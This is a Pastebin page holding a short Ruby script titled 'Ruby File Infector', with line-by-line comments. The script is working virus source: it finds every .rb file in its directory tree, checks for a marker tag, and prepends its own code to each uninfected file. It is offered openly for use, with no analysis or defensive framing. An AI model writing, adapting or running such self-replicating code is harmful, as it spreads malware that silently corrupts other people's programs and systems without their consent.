Advertisement
FlyFar

Ruby File Infector

Jan 8th, 2023 (edited)
1,223
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.83 KB | Cybersecurity | 1 0
  1. #!/usr/bin/ruby
  2. def infect_files
  3.   count = 0     # This will halt content reading after the virus_bottom tag
  4.   virus_top     = '#0x3a'       # Distinguishing tag telling us if the file is infected or not
  5.   virus_bottom  = '#:'          # Tag at the bottom of the virus to as a marker of what code to infect other programs with
  6.   files = Dir["./**/*.rb"]      # Grab all the ruby files in the directory of the infected file.
  7.  
  8.   files.each do |random_file|   # For each ruby file in the same directory as the infected file
  9.  
  10.     first_line = File.open(random_file, &:gets).strip # Grab the first line (to check the distinguishing tag at the top)
  11.  
  12.     if first_line != virus_top  # If the program is not infected
  13.       File.rename(random_file, 'tmp.rb') # Rename the normal file to tmp.rb
  14.       virus_file = File.open(__FILE__, "rb") # Open infecting file for reading
  15.       virus_contents = '' # Storing virus data until virus_bottom is hit
  16.       # This is necessary to prevent programs from writing their own content when embedding to other programs
  17.       virus_file.each_line do |line| # for every line in the infected file
  18.         virus_contents += line  # Add each line to our virus content
  19.         if line =~ /#{virus_bottom}/
  20.           count += 1
  21.           if count == 2 then break end # Until we hit the virus_bottom tag
  22.         end
  23.       end
  24.       File.open(random_file, 'w') {|f| f.write(virus_contents) } # Write virus content to the old file's name
  25.       good_file = File.open('tmp.rb', 'rb') # Open the tmp.rb file (contains good code) for reading
  26.       good_contents = good_file.read # Grab the contents of the good file
  27.       File.open(random_file, 'a') {|f| f.write(good_contents)} # Append the good content to the random file
  28.       File.delete('tmp.rb') # Delete the temporary file
  29.     end
  30.   end
  31. end
  32.  
  33. infect_files # Run the virus
Tags: Ruby infector
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement